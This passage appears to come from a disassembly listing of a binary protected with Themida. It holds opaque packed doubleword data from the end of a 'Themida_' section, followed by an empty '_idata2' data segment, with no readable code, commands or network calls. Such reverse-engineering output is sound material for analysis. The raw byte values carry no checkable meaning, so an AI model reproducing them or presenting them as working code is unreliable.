6602DE57h dd 6651D88Bh, 0CA69C081h, 0C0B70F5Bh, 5FADB050h, 0D1CF8166h dd 2C48BA9Bh, 0F5515820h, 6694B558h, 8F0FC18Bh, 9, 3840Fh dd 0B70F0000h, 0D38B66D9h, 80F3BF0Fh, 0BE9DBF4h, 3000000h dd 8CFC99A1h, 0AC2EBC8Ch, 39BF803Ah, 662BE0A9h, 0BE8C18Bh dd 36000000h, 23BBEFEBh, 0E2DE5E80h, 8FBF4709h, 583439BFh dd 58C0Fh, 56600000h, 0E961F95Bh, 0Dh, 8BF2560Bh, 84CA50F1h dd 0C9340971h, 0E800FFBh, 0E9000000h, 9, 0ED85131h, 817FDE25h dd 8166FCC9h, 0E97D60F6h, 5, 8B091E0Ah, 0BE9F9E6h, 6E000000h dd 3ED472DEh, 0BD568C5Eh, 0C3BF52F1h, 0B120294Dh, 0F18B6622h dd 0BBADBB66h, 770CB966h, 91F9D08Bh, 90h dup(910F47E5h) dd 223A6EE5h, 207h dup(223A6ED5h), 0FB3A6ED5h, 56Fh dup(0FB26D113h) dd 77E22B13h, 14Dh dup(77E22BBDh), 0CCE22BBDh, 0AA8h dup(0CCCCCCCCh) dd 0CCCCCCh, 9Ch dup(0) Themida_ ends ; Section 5. (virtual address 001C0000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001C0000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5C0000h dd 80h dup(0) align 1000h _idata2 ends end start